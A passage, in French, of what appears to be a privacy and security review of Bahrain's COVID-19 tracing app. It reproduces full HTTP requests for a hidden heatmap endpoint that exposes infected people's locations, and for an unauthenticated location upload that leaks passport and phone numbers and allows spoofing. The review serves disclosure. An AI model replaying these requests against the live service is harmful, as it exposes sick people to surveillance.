06-14 11:02:46.654 19337 19425 I TSLocationManager:       "deviceId": "befd3b10cbf11a2d",
06-14 11:02:46.654 19337 19425 I TSLocationManager:       "mobileNumber": "+336123123123"
06-14 11:02:46.654 19337 19425 I TSLocationManager:     }
06-14 11:02:46.654 19337 19425 I TSLocationManager:   },
Fonctionnalités cachées

Des fonctionnalités cachées, mais accessibles, sont identifiables à partir de l'application. Un endpoint d'API spécifique permet de récupérer une carte de chaleur des infections. La carte de chaleur est assez précise pour montrer l'adresse exacte des personnes infectées. Voici un exemple de requête pour récupérer la carte de chaleur :

POST /corona-tracking-client-api/trace/positive/heatmap HTTP/1.1
Host: apps.bahrain.bh
Connection: close
Origin: http://localhost
language: english
Accept-Language: en
Authorization: Basic [REDACTED]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 5 Build/NJH47F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36
appname: BCT
platform: android
Referer: http://localhost/
Accept-Encoding: gzip, deflate
X-Requested-With: bh.bahrain.corona.tracker
Content-Length: 21

[REDACTED]

Pendant nos tests, cette liste contenait 10 000 points uniques. Voici un extrait de la réponse obtenue :

{
  "list": [
    {
    "key": "thshb50",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsj120",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "theuxfv",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsj15q",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thsh2jd",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },
    {
    "key": "thevjcz",
    "latitude": 26.[REDACTED],
    "longitude": 50.[REDACTED],
    "weight": [REDACTED]
    },

La carte de chaleur a été recréée pour générer la carte suivante :

texte alternatif
Carte de chaleur

Ces informations peuvent être recoupées avec d'autres ressources publiques, comme la liste de toutes les personnes infectées par âge, sexe et nationalité :

texte alternatif
Informations sur les utilisateurs

Informations personnelles identifiables

L'utilisateur de l'application peut décider de suivre le processus d'inscription. L'application encourage cette étape afin d'« aider à empêcher la propagation du virus ». Il existe 2 façons de s'inscrire :

  1. S'inscrire avec un numéro CPR (carte d'identité bahreïnienne)
  2. S'inscrire avec un numéro de passeport

Ne disposant pas d'un numéro CPR valide, nous avons pu utiliser un numéro de passeport pour nous inscrire. L'application demande ensuite le numéro de téléphone mobile pour terminer l'inscription, en envoyant un OTP.

texte alternatif
Écran de l'application 1
texte alternatif
Écran de l'application 2

Après l'inscription, l'application collecte et transmet en continu les coordonnées GPS du téléphone au backend. Les informations transmises contiennent également le passeport / CPR et le numéro de téléphone mobile. Cela est dû à l'absence de toute gestion de session dans l'application. Cela permet aussi à des attaquants d'usurper les coordonnées GPS d'autres utilisateurs, à condition de connaître leur numéro de téléphone et leur identifiant.

Voici un exemple des requêtes envoyées :

POST /corona-tracking-client-api/locations HTTP/1.1
Content-Type: application/json; charset=utf-8
Content-Length: 495
Host: apps.bahrain.bh
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.11

{"location":{"event":"motionchange","is_moving":false,"uuid":"c68c095c-0058-4bb7-91db-36bca8892e9c","timestamp":"2020-06-02T23:08:48.000Z","odometer":0,"coords":{"latitude":26.164627075195312,"longitude":50.62568664550781,"accuracy":100,"speed":0,"heading":0,"altitude":170},"activity":{"type":"still","confidence":100},"battery":{"is_charging":true,"level":1},"extras":{}},"userDevice":{"userType":"passport","userId":"12AAXXXXXXXX","deviceId":"707af21c623b95bc","mobileNumber":"+447XXXXXXXXX"}}

Note : la valeur du paramètre userId est le numéro de passeport.

Dans le tableau d'activité du proxy réseau, nous pouvons voir à quelle fréquence la position de l'utilisateur est envoyée au serveur backend :

URL Date
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:27:26 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:27:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:26:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:25:02 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:24:32 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:23:00 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:21:44 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:16:15 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:15:08 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:14:32 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:12:53 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:11:49 GMT
/corona-tracking-client-api/locations Wed, 03 Jun 2020 08:10:37 GMT

Accessibilité

L'application offre de bonnes fonctionnalités d'accessibilité, en prenant en charge plusieurs langues, dont l'anglais, l'ourdou et le persan.

texte alternatif
Prise en charge de plusieurs langues

L'application peut être utilisée par tout le monde, il n'y a aucune restriction sur le numéro de téléphone ou l'identifiant.

L'application est également légère (moins de 11 Mo), mais elle est très gourmande en ressources en raison de la nécessité de transmettre en continu les coordonnées GPS du téléphone.

texte alternatif
Taille sur Android
texte alternatif
Taille sur iOS

Tags :

covid-19, privacy, MAST